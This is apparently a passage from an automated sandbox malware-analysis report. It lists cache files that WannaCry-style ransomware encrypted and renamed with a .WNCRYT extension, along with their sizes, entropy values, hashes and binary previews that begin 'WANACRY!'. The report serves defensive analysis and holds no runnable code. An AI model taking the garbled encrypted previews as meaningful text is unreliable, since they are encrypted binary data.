                                      SSDEEP:192:hTKiLjuvoky7wW6XXBafZXYZpn4RUXlD1MRAk4MaprcqoFXqWu3DxUsZux6Z4XEl:Ii3lkOLYZJd8LacQqiukZ4XEPuvWt
                                      MD5:EBBDB4F0AAA0500A133315F44DDD04F8
                                      SHA1:B0DFE7EF0E5FC124BA4C6E9A4E41A5D0406050D6
                                      SHA-256:3A5FE45FE46024245AE76DFC65F4B991DAFC42C68CEE6CC88112B8B7B9F0D833
                                      SHA-512:4AFA1D7DDDF330BFFC9E1FCC03C33E46155CD5D4F593F7A11CE743EA948015539FBEF56BFB940DB8DFA192BFB4071B5D467CE94C21CD572557F2469588A1664D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....s.%|^.4.aS.....e'.....>......Z..v.N.....S..CO...T[......W...hFk[.`..o2A.$.o.....i....9..Q.V...J.!....~..SC....@T..X...Z`.xP*..M..Xo.CG.aE3I..I..}........d..C.../...hB1.c$...H..k..+p..T.}0..S-..........Se.`v.-.}I..:9w.`z.2.i...k.....mZ...t.[D.5.....@..........oW.o..{.....x....b75......N.,&4o.m.......O......_.|....FaO..P)..'?.a.}.Fnu...m-{ke..j....8&....Z..l..5-..M.P....b.h-..L..9;..`...N..M...I...*.....2....,.C/.......$..TE?2. ...6.......L.>..}/.I..W+.!.I..&.z...[.G.)...o...."...^..Qz.?..<T...I..s2.{.*.aX.k.....:E9....W..3m.?}A..Z..+L4...d..C.........8.Lw@..gZ.h..V....T...F.....+.l. P..CIJ.>..w..Q.s.KE..9-_..7Z...A*......U....O.W)F.......\...xV|..jr.......S.R.......j.a.b.....,.6...!...c..~..~_5...N5...T.S!V....f.!..|%8.Qb..!..'S.n.....!...,..}..9..4#....]...M`...D,K...v..D.#.\Y.ox..4hZ@7&........j[A...2.....V.,.w~..n.52....e..@.!...C..*..x8./...>.%....>v.K.....Aj2..u..T..Y....{^..c.\.7!......p..)..}.e;.5..v..T.eXN.G...NCM....w..W~V. .

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):16664
                                      Entropy (8bit):7.988738091978233
                                      Encrypted:false
                                      SSDEEP:384:Kf3Wa/8laKAvaDyP7MHDXPZR/pF4c2gbYxmrH6REeeBk7Xs:2Ga/8l+FAjf/LU4rH6+eKkA
                                      MD5:43F0B55638C16FA48EB7D9B948911002
                                      SHA1:53C0D8791B689C0B66BEDA3ADA5C7AE53F3756DE
                                      SHA-256:D8CC9CC7ABB220299B956B2DBF47A3071BEC52460B8FE4BCF2454EF5008A6A28
                                      SHA-512:1FA9A0286C91D75C55ED069C291EE416CA4D74B8BA5EF205B8A950340811923D83547A3F54A9F125F68024CF4EC9E684540D4436EFDCA0A3B73991AB7C518884
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........Q..!.......N..Z.)4Q0}..|3..Z...RE...v(zR6G...p./..c.@.\..?^~..J*.....g..g|g..TVU......-... .\.V8J.&f...:&.....m.Fg/]s.T.|`.. .F}V.Rw.y.D<1Q.L3.Y6OQ5.E.xY.{....*u.ubz.Y..'...;.}.......v-..ly,..``rD..R...I...J.o.A.c.S..O{...kV1].9..t!u<cWx.O.Z......@.......w...5m.DW].t.|^.@_.s.s.l...3..,...* .$p.+.....|.{....R..Q..aD?.z"o].zK&.9lCS..".b.9q|.v...UD{Psv...|=R"y........e..u.f4=.......M.|-...Q.[..l...?].2.C@.............C7.[.eu.Mf$....X......3.!'p...m`..>..yg..khO.....x.&...<x...!'....T..&..}:.....=..F.St........c*..Ma....j...+:/..........k..5..!q.4K[.flKT9..A...}\o.<......V.......#a......U*t...W.a...W..Y.~. ~.Q+......|.......i........f..YR@g.A..p...f..(.D...1l|..0...."..Sg...s.....C!.na..( V....uq....L).w.......-..0..XP.6...y.......T....9.O..,J./.C.l.%...H....O..i&..Tx.Q.a:,..r?.........j.L[.....d.>..N^1q......?{..@3ix...F{7Gq.....:..I.`.+........./../..;..G.T=e?-RV..R..F..1.>../0>]...B..X...d.%..%e.....I...W.q..z_)o.4m.2bC..w7.b.

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3075AAB0-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):424152
                                      Entropy (8bit):7.999550138567333
                                      Encrypted:true
                                      SSDEEP:12288:0+1I8yLCpE1XjqZG77cNXrKxNcVZwbnxVUX71Djjw3:LW8YcEdyI7cN+kZG7ULBj6
                                      MD5:C92307D9E45547397A6DFBE5C2DB01AC
                                      SHA1:0110D9A6F18A853F697457545F97BB7C04B91908
                                      SHA-256:FD7F509CBCFC0D0922CA825A5686022C0C465E57048551D83FB893736F6F5D62
                                      SHA-512:32FDDE83F950BF9A66F197FBF55E96AE8E9A6957C7FA3554795116B23EDBA0F3A806BF02562700AEBB87EEC22291527429DFB2818CCD024A6C7292ED927ACC95
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....4..D..t.l....\...........ge...T..E@.7g...y.....J...._.4.i.l..}....+w.q...,...T..]B...v..:..8...L.5O.37....si..G.d..N.+f^.W.....1.+....Ky........mnT)g..Vpq..Q=.K...&..R....2Rs%@...f.-......w.,U...j...%....Rb.XO....7..h%.Ioc....J`..&..*..6.E......w......[S.R..6..3....Vyg.Z....dx.O. ....y..>.&N-.m......g".......&.t....`V...`:.G...m.:.Q....G.-...5..l:z...FD..k..4.....y....>.........1.....^A..B.}.......eE........>..1q.u 1+.#Ny|#....Gm_..n>.)...\...n... ..NE.'Dt.{..H....y.....=......5.....s..0...)..4...t..dk,`...44........@.*...z..]....;..X..7...9.f.=.U.T..kc.ao..KDD./.?Q< ..... .G..d&..U...N(..LK.5.w....T.+..u .ix.b.........A5..|2.....^...6.|E.\.BM..xR.L.b.!.1.......H.Y.?.E7.............-.>..t......,.f)..8O.R.ug..w.GX......zv....e.Z..U..X...Z.q.;.v.d.c....2%t...].{.q.....<.[...Xh..G..L.e..B.+3..6.V.H$>...TM..D..d.X.^,D'.....8....}...r.6`..._....mph.._.Yg...c.KN...s0................6.9r...Z...~....@....c'w...u..n.....h.q%

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000037.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):99464
                                      Entropy (8bit):7.99799448197694
                                      Encrypted:true
                                      SSDEEP:1536:FKbX4HMjciS8PM+4Y/iF72spi/kJ1OIg5PHjiwi0THN0bymcw/Jga7v+ejzxTQgP:gbXygNSrKi1M/kXOIgVuMqbJn/eHM6gP
                                      MD5:9C921A88CF1201C41406B16663A035CD
                                      SHA1:811C31364F5625F4CC3571DDA2BBAB1FE8F44B46
                                      SHA-256:3B3B7D2D48B6DFE0D9C5490002C518F2250C770A17885886270C783DAB22F413
                                      SHA-512:DFCCDF2A519B091CFC9804A2679F6B3455C188EAAD5074155E116062FC3C435DBD5808605FF60C1853BAFF328676F2C19519E8B5B512CADC4108EE5158E215B1
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....b..sL.BL....y.Q&.l.I.G3Q.v.1.\...\t..x....5KA.`E.4...F...E.^..;...^+TQ..x...Ht....Z;.0..1.....J..7..[M....Z.l.QZ...:`H..b.....Od..~.8_.Q^rj.$L....h...fG.....%%.*y....^..U....#.x.l..`A.dn.J.O\#.E4..m.5vi..l...Ua~7.$.l.n...*9n....%..5....h..&aq3....h......."..U.fi.....e.~......W.tH..i.O.5.:..(6R[\<.S.&4.M),..I.la.....,)b(>;..F$......i. ..;}...oL.A.b.W;.^zb.b&wj.%......z..`...^kZ.'..o..7D..].....^Vk..^...s...=...0.. ....DM.u+.y8t.z.=....j..gbz...i.2.....x.4.sQR.H...7z..m;...'.PC/r.D=...N.|.o.b#..w3...5....ZKm.....+Q...w.....f./.G.._.B.i..5.>v.......(....k..^5.a=.h.x.ztj.C..E|.C..*..c.-..zX...8(..n...I.i..qf7.........?...0..~"..7Q.[...z.o....C...0cS...ZMm....C.I...\gX.....`...z..C...0j......2..FZ..8.a....-g.QMm#\ov....g04.l..;..2@J.(.s.T-l._.......<E*.@h...=.m+.l!.....=(..^=.*N.QX.....B[...t.R+/...<.......F.L...X.o|&I..../.Mo.C...........U...^.D....".r.fl..+.....F.9$....J<.uY...........SV8...y..@.'Y.2.pWOR..m....)...........b....

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000003a.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):99464
                                      Entropy (8bit):7.997983041578028
                                      Encrypted:true
                                      SSDEEP:1536:iixQM1tc5AFgCqDwlIOIlpKmShKv98N3wc2hOjB/OuMa9FBcfnlDwtB:+M1+P9UlrWEfKvo3E8YurBWnlDKB
                                      MD5:5AE5AC2B5E11E4CE679049EF2C94A9CA
                                      SHA1:D4060A0B7C484B385008EA40CEB3EECBE953FBFC
                                      SHA-256:3334B8888588199961B966967AE0DD95CC148FA2C81C42BC7F5A942A4B3CF9F2
                                      SHA-512:00CE80178F214B3558AB27ABD41580A25B0FE8C02CED3BF6B0E0F8907B158516ADA433ABA9286B906502E8075566884EB116002DB29CB2CA016066FBC04326CA
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....+.uX...............$..Q:.}C./?...;......-...../t.......zL..t_..V..A.........!...fr....../.L'....m...#...{.j.Ch..HG.&.c.....#\...8.~e.O..cM_,..+x...[..V.*J.D[6.NJ...=+...5....r.q......7.L.c%-R}c4x.c..qI.....J0....Su...l._*.EvY...p..t...`juG....>.....h.......-.R..M..o.S..gM.J.-..7...leF.RY...Gy..=..........].....e.@6..._t(.w<Ys.".s.0..,..?U..c..,.>2.c...)'.13...K@.....+?Focf.FK...?.s.......7.0.2.P....A_....;*^F.*.|.u....4.2:,.#......M..&.../.#..^C..D.*`.R..ly...<.j.Z..'.+M/...I......pR.yl#..._.&..4..}.../.|....y....+AEQw%..vu.P....%#....%...|...X....%.|...........BtF{.....s=}i...U{t..%.m.f.!p..h....pap...S.....).[3.p+F..kLl..F.8r?..,...j.r......H..^.*.v.@......:....Q+.;l.q..e..p.@..!*...Q../..e..{..1jc.*.V....y.F/.o.R8.: .;]..r.Db..\..C..B.>.......D....;...+E....Q.S.__.P..(...3...t~.s<.{...&g{y.e...`~.p.:...a....|....L{...:UD'...x.....Ur'....&b.....Ay..k..-..e.Al1Y.6f.F.B.1.lz.-...,...u6%...~X5..t..XTrJ.....o.1...t....$......

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000002a.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):71864
                                      Entropy (8bit):7.997619864848435
                                      Encrypted:true
                                      SSDEEP:1536:aTHZAH6S9+UTiFUtzRSX5ZUp6w3QOfdkcjcANEaCmpZt9bIg6mDLLDDKg:wHZ7S+pFuzRT3zdkmcVEt9b/6mDPP
                                      MD5:4D0D718AE0B78B2B69713662B6A3ECEB
                                      SHA1:0F9B8670978B4281962C34D2483536AE1F0E87FA
                                      SHA-256:11BD78967FB4C435FE3ECED924C389E78432B3E3C698AC706AAE7F2544BFC4FB
                                      SHA-512:6DE4603DDF52F6216E063D0FCEC7254D70308066A896E408964267E59CF6EF799BEE3D0D83816E36E422262D1C1173194DB727945692C282E96813488B30F157
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....S..`..k-.@.DB|....X....-.+..V......r.....<L...<)!8..^....-k.NnY..e..X.._-............Cg..x..6..%.R..F...n=.....c..@.....O.!..GZP.....L..9..z.Z......hp.s.......O...\...Q}8.D.2.._.A...S.h..h.#QI..JD.\..Tna.~./n.......?S..u4*......wAD.|.G................'w..GH.D.%....../l....D$..j..........M....l.:.....5..`..C.@E...8......r..W:.]G$.......&!.6..#S.u....+C.3..;.l.et..3....Yu7..N..G....{S......#.P.T..E..'.o\....(Vg~M...@...h.\....O$..U..q....a@.$.....^..k..r.................N.b.....M.......%U..W.4CVx.Q...$....[..hlMh.n4.!X*}..^.G.>.0(..uA."g...G.AO.$...S..a.e......8J{Q}.En.$......[./=I..Dfo^*& .:...Z5....3.....A..n..F...c...g,%.*|tX..E..J.......k8.[E.U..5(}...g..J2_.C..z....z.p....oF3d.......[....(0.V..L....b.....Z.....t..P.E......A.....a.uX.j.....+..u.H.....89q.E.0......".Q.Lw\*...,.!......|...]...f#..+z.b.,...r.f.P...C....~...z.......I...jX..{....8.TH`..p.va...Z^....(...g.7.%..].\bE.."..[!..6d....Yv..G=..T{/......dqn...

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000002b.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):71512
                                      Entropy (8bit):7.997089687717666
                                      Encrypted:true
                                      SSDEEP:1536:QFBWiFbEClsJl/cLk1eoNBpFcyCf9mVVT83TNH8tuUBJ:qBJTsz/cA1eY3FwgTT8jCBT
                                      MD5:A6DDEAC64E8838012D41D9834264CD7D
                                      SHA1:9279EC923F10905FFED3B946207F3D5B73DE3E23
                                      SHA-256:FEDA9494FB1CFAED7F8046FB085AB70BD83EE8B3751F3C21988295A2BF106193
                                      SHA-512:FB274031BE5376FD1A79EEBE5493BF7C6B822D420DAE0C689730134ABDB5C804D1DC0ED04157E00A244B73CC8D829D67EDE39BD58BCF70CB7CBD9F0C62078415
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....*.V.j....K......Q-...._n...j...T{.u*.\.....3(.....w,Y..../.P4.PA8....'...Z]..n..s.*:..7..6....We.)'.Ct.^.f.{q.>..F.K..fI...=............e.I.v7....C...2....$...t<Z.(.". ....D3..f1.....s.`........a/^..B.M....7..n..c.s...d.r....H.|..c.dDN.h.s.}........8.............q.6..../..J.......r.._Z..5...#.<.S...Z..,.....0.!...k.Qn@.vKHx....F.t.<HW.).../.......Z...nqz.......;9...5}..z.z.g.g.W..G.y..T.....1.....i.c.S:g1..G.+z@|4.qP.@O/[}.{...'.t....?..9.....^.$yxv..s.@....cuCT9#l..S.Y..)...*5.5....[b.H..K7lE.,B..St....k.$....$.....B.;...}.Q4..+..)'z...]..._.C.o..'.....+..\7........I)p'.N4.:......T.z?.3...x|........^.%.~..)....e#L2...8B...;..6.....T.~.......C..2N.G....../.J...oFw...0..x..i...T.....k..0#.qu....9....e......u...~..p.......m..NRy@.F.'.^...7.V.......{..@....M..UH.N..>....,.^.r.V.D.\....e5..<...GMK...J0...X.=..M$...v.Y..b...f....R..9..?....6Mj=.l*...".^e..7..r ....`...o...;.&..(..............GV..m..a.....*qGIB....%zd....P.....%..i..

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.230985860240701
                                      Encrypted:false
                                      SSDEEP:6:bkEE7oCp2ixP5biz6h++lQTFusnfrLms3Y9YBt5oRU4lmg4MJrQT/i:bkE1CPl5mWh+n3rLms3QOt5dDs
                                      MD5:3E62C466031D8F8F337743018BBF5011
                                      SHA1:0CA9665EA31F5B71F0D50BA70CBBF4DEE44944B7
                                      SHA-256:90147D4926E35AC217397A4B11257BAACBCEDB68E90A2910C5668264755924B3
                                      SHA-512:F3C71A72B1BB3F3F2A661667659DDA87C9A353314E703C44B2EB8C84280308B066F53669D443F436744C6F3E7C564D06380B7CD8A6C7EFD18B4D0949AFFC5FC5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......I./GH./JK4 ..k.B.5...-p.b...W{.(2e.G.0,.d...n..C.-X.S.vT.M...v.D..!..h..I4..B..,p....(.......$.G....9....z^+.)....s...X.N....n<...?.m ._w..@.?P.X8.^..l. ..l#.o!.0'..Q..C...%M8.U..2...n:...Qx...[g,.t..d.qT...d..2*.V..N..e.z_.a.xZs%q..-...7...Q~.1.............n..6[.....V.K.h.....N....vZE.

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1048856
                                      Entropy (8bit):7.999844841548223
                                      Encrypted:true
                                      SSDEEP:24576:75DD8qBqLOT/V/USOs+as68acs56AAcY5ok8CYNvhE9Be9:7d7Bui92xLZ46AAL5by9
                                      MD5:481BB1D9C4D6160FE5754ADD8AF93556
                                      SHA1:6A7162D463FF4A846B0BCBBBA7D04DDA341B3FF2
                                      SHA-256:88DA2F5BEA3CE853107377CBB5526D5FAC37B8D0D586759FC8082C075943CE58
                                      SHA-512:809AF6E89E996B7E034F4EA7BE247078D469C6450FF4F3128D2D6E93633EBA5E53DF15B13004E49DEAAFBBE13E368D013B88648890C524C08A9CD7A3920DEDE8
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....I...sa>...b...(........e]H.../@...d.....{'..pE..]:..\$....L..y5r&.`6._...I6.}.....ci.9.s.O.|<4SS?.....3.-nCs...mhF.^.......==Y....N...*.....um.9..P.c.T.`!...)L...U.q#....b..#.....Fq^.@#.;.9k\r.,b.9.r.Q..H....=.{...C...>..v.$l@3..3>.Ft[|.'.............\Q....m......<x~.U,A\..>.j..Z.^.5...1.c.&p......8.LJ.......^.u....a..).@.L......w...^...F..fi_s.......8.A.B.o..zc..q........p.V......L4...7..".M...B..7&...'u..h..y.P..7}4..~..A.......RbZ........Og...i....\.>....l..<oV;K..#...{...A.=..K.....6T/k. ...(O....jua...Y.(.}....?$.p.....B..& .J..v.q.P...=>,..G.Mk4.....CZ'{.!]...-...."...c....6z!....X. .o...A=.Ip....h.L8.`.......]_/...Q./.0{V...d[+B.&.*.U.z...R..3.. XS..\mo..$@S..[......A.B..j."...=wHD1a.^:.J$%t5.........bT.'..~M.aot..0..dQ..2.=lcC.....3.d...1..;../#7^...&u...[*9;-...?.*\.2....k....2......O.0.;..v..........'...8......4..x.......s.RM.mj..4W..i?.xf%SU...-..,.q..T.N...N....%.g..]....P.m&e,.1;..:C/i&...T..N.[..K...V.?...

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.216718336440429
                                      Encrypted:false
                                      SSDEEP:6:bkE3RMz211dXUy/j9R58N/N+8U8m9qZ4bkewpFajKmIFwf/MfypYxt1:bkEB917Uyr9QN/s8Un9qgkBUycA1
                                      MD5:953CB9B47E62CD5D587641476C3580EB
                                      SHA1:5CFDC7E431C0E4AB2575A74669133DD00F62578C
                                      SHA-256:F82C8642B227A897FA83187F69F846E25FB59D66C719D04158AC03C8D29FF49B
                                      SHA-512:C4DA21B1342D7B0D4D996B8B470E74338630DB7A4C1FBE21E074536364FB5F223D3B9D5DB6BF129FE3DEBB4709B5B3E7CC9E278217E408C409DE80C260398B9E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........r...F..*'7.5.....hT...H.....]..A.))S6._..Z.b.j@y.....&.&N...".p|....R...uY.t8.F.vIp| ..Kw.... O'e./.j=.]p..../T...d..(.#.f...S..E:..U..m.......I.h....p.V.....o.=.|.u._w....X.......I.p....4.....a=....3H.B .i..._N.B.P}...8U.zy.T...g.8.............=..=Ee}.iI8.u..f.....C.C..<.J0.

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5243160
                                      Entropy (8bit):7.999957610525947
                                      Encrypted:true
                                      SSDEEP:98304:2rrSbJQi3cFKljd3iPwOzBY/2HWmu2ciyCFPfL7B:2fSdzMSJ3TOy/kWmu2/BHLl
                                      MD5:D9FCF5B701204308BE38B6C4FB5BDD04
                                      SHA1:CB668C1DCF7942B719F903272178A147407E82D8
                                      SHA-256:BD1617CEC9CF3FB888F09E7C21B6C914FB9DBFA7365AB6C15668442C24758CF4
                                      SHA-512:6F6CCCA8D7B2B1C0466A3E23C5356A76901C9E48927ED6766CB224A917A89F3E815035367D5775574A6A4EECE2BBED40C7DA5307EE4A04D89E9C01C933C65446
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!..../...hN...6..f.3J....p....F.XCf.6hZ...Hr....@..c..ku............. X...pE..E,.t...F...}...\.\:wuF.%..yV.~.'.*e.#}...l...>.E.c...u.!'.9...n.0..]...A./.K..........$T....x]'{$.s.. .=.+.e.7..H'@.3..8..M!@C.VT.J..J...u...2....x.....'^...1)O.]..,.......J.5......P.....e{-Z.......a.N.X........p.....e..@.$:.A.....y........@W.OE=.j.>k.h....L'....a...2..[....pl..?g..%...l3....$..{1D..fEBT.D.).D... ...G...G~..x..S...+.V2....i.P_;...l....1..J.Q(-.?O(B.Bv.<DCu..$2....7..J.."..T}....N$@T.Q9...).;G..l....B .....p.xp.v...&...A.#I@..\....d........~..<?u..j3a...I....9[....>.U..=...gk.z.k.H..G.]..pzZ..!...~..4...........4........-J.{..o.y{K.3`j0...|....<.>d4._hV..b_.e...^%....@WSL0..k?].c.v.*kb...1.....1..e.*v....z..^z..J(81..ww....o>.Q.3........C5(..D.o..0BN.....h.0[.`l.K.fp.........F.|GlJ.i...L@oB.u..?.6...P.n}vhQ?.....-%.T.....Mnx.......?........:..p|._.C..[j.T....-Ppl.O...C..P...g$$KB......T..@..6..@.. ........_..!~..l;.r...~.kN....6{E..!,.O....=g

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.2029440761495485
                                      Encrypted:false
                                      SSDEEP:6:bkENDoH6mq2E8WlYa5m0z2Pw+XHL/Ah5AdMFYfuvNv5hurLbGUObh:bkEh8uYxY2LHL/AgyFYfON7AG
                                      MD5:0CDB7703D47713812C3DCA707BA9633B
                                      SHA1:D6B32B5BFFB74E88EF8D0102B60BA03E58BD431C
                                      SHA-256:A52739C4A76E91D5595F85F8688F4D4D81BE37531773AAA84AD9E57D9BA2D6B6
                                      SHA-512:ECCA5A12898333CF7834F00479A6EA7098897235CD83058DC57B4656FA96440ACBA613206630E3AF1F8DF790B48003CDB633ECB307AF48898BD8606390AEF0E5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....EpW..5.:i.....o,..oVO]......n..Z..l.E..a...t..a..:.r.........x8..j...jB.e..x.o.(.KO!b.V...-...;..5#$U.s....%Y]S...-...Y..z...kv...o."...d..+$.X,%..oF`..b.ee||$..y.....7.A...t+R9..t'/e I....M.&K.^!....F..!y..O........x.~]S,.......^G..Bv.1t.J...K.............).".-............S..b..d66.

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):2097432
                                      Entropy (8bit):7.999920726394793
                                      Encrypted:true
                                      SSDEEP:49152:vit1lAEQvFTBnLhJT/1K0g17o0a7s/lRo3oyjPNkooQYqTlRmv:68vFdLlgBohGf1kPNvoPT
                                      MD5:1BFF9B86262C9DA9A395C7C58122A9C9
                                      SHA1:8EAB1597E04FB14237BC39BA5722F5C64E67F65D
                                      SHA-256:3B96AC77EFC19C10414BF09C85DC7E065D38991C075779903CCD06DEC3C826F6
                                      SHA-512:9E22F00B4334E770602C12AE04EC187ECF45AFF1D89A29E5A2B5EFB669E1DF7DB5FCED8A23B6FC5AB356708FD2312E9868D00D78A25D7640D72F6461AFDB05D2
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....uF..~k.~#P.F..9.k.=T<x...">.V..S9x..m.'....OM.A.D..t.)...i)...~.....u..w._8........{\..J../....\........#..r....!........2.M.V.^."....mh.3.\(S.2U[...Fy.\b.fm...t.x...^....;......Q.`*.4....c.Y.7QO..Y..:t..GHY.d..1.`Z...@d).d-.I..x.<...m9.V.p...(........... .....&g_..Y.....\..U.....0..G..T.)k=.~.`n..n.........[j.Rqy.B.g.*I.Y..+...v.h....,.....X.......).>u.W.`0g....y2Q\$.blE.@..h./.II.....%5..o.>F..^..2Y...n..I....5k.f.I.7.z...m..G..R.5}......o.\..@..^E`L;....R.q..mh..SE.2....8..^jZ.......C..u....@.>.`+...8X.9>D]..@E(1-...h<...=.;...DpM...rd......P~........u.k...(.. ...:."...x...q.....x....n.:..;.H.,@y.f!.N...,Fn...t.h.m.O.0..OZ.t.nw.r.X.D.vj......I2.O.9Z.Q.q.q.C....bg...4KHQ(ecb...6d.g.e|....3...Q.67..8^../....o\....'.BZ..P.3%&.P`..".z?. YR1.z.%q....o;....sf......../}.e.H3..:.N~e...2..<.......hp....OO...A............_.J....,.+...'......F../.&@.?.5...$...Zr...2.b.@if7...q..R..Q.$....X_.+i....8.~.6G.>./.....;=w...x......e.M9...A.....0..l.

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4194584
                                      Entropy (8bit):7.999956743972225
                                      Encrypted:true
                                      SSDEEP:98304:88MdOKuStUboirwFYpRfJNwCF9V83sJYN4Jp2+LTg4Dw4:8XdOutUsirflJi8k3sfJpjVl
                                      MD5:4EBCCE8A7D478870FD0FD3619A1E487E
                                      SHA1:F0D9D4835D9059F38650609DD656944F941C3017
                                      SHA-256:FB0C39E2627AA60083EBA177D64240153E66FD4C2DC731337616DB7AA4FB565B
                                      SHA-512:D356E4BB6E874D78465CE1CD9D5A9E25C551E7469CE6B20FE4B6A359D63F70791EF2B92794D65E6129C8B88140118A3C724A6A054D96B0B1BFB1A3EB83A37B65
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......D.;..y-1N=..={........r..X.&1.F/..o.g..R1j!...T...e#...O!..H;JF1.+t3...3I.P......w4[<....Fx.q.1...ve2Bb..Y.....n..'.?....r....v.,?"...L.#?'[..O.k.o.N8.A......./+l..0.f...hS..th..tq.r.....xL........z..xH...U..........|j..d.h......6sq5./.d.....`.#......@..........._.s..q ....za,.....-0IT!O..J..m..t.`g..D....4...&k......h7.c;a.....oa...^O./.S.,..5...g7......;g.....AUR.h=..f.s....*. .,Q.>w.............c`.wQ....l.}...[.q...v.QN.d..x?....y........:Qk&5..5ZZ.9.[...#.C..N...0.F...o:.15...r..c.3...F%l.....t* =g.M.s\Z.k..._.o@...P.@.0.!X.]V..3}Fl...b(..G........t.a...%X.+....p....Z.U.X%z...K^...aJ..."...m..af..Yr 6....[..fe.T.........9.'xa._q.....t......w6/r!9.......9%.,..k...3J.....e..`...9G..#..}J..|....6Z.K.;..u.mm..d.F..}.M.E..$.. T8J; o.a.0.L..#O.}.....S.6..>..:....K....bR.".X......sS..|2VA............`&E.f..A-2E.E...f.E.t4...5....g..&...."......Z.Y.8...j..8?z"...O......./q......aES8xQcE.......3...7....YM..B2a..S...~..XP....p.....oq

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.16053205878667
                                      Encrypted:false
                                      SSDEEP:6:bkEKNK4eqQBbfpwhp8Q5g0COrAc6aTYes7CjHIR5c2/DENnSn:bkEUKVYK3WrAc6ayCjooKkSn
                                      MD5:A66261CE6A572D179B68659944BCEC19
                                      SHA1:662F3828C2B362F4734E669F6F7DA8935B2A8A92
                                      SHA-256:BA12C7A6028AF8212A21034D9E3C20CE694C8492817F27FAC487A78E10E14924
                                      SHA-512:56E86FD4554E0DC0244EBFFA173AEBE8BC7803B664894A626EF81DCB53BE60AFD9604D250C6DFFD819D7FA9488AA6B5EE4FFBFB3BA7C91FABBC2C1D4E3FA3772
                                      Malicious:false
                                      Reputation:unknown
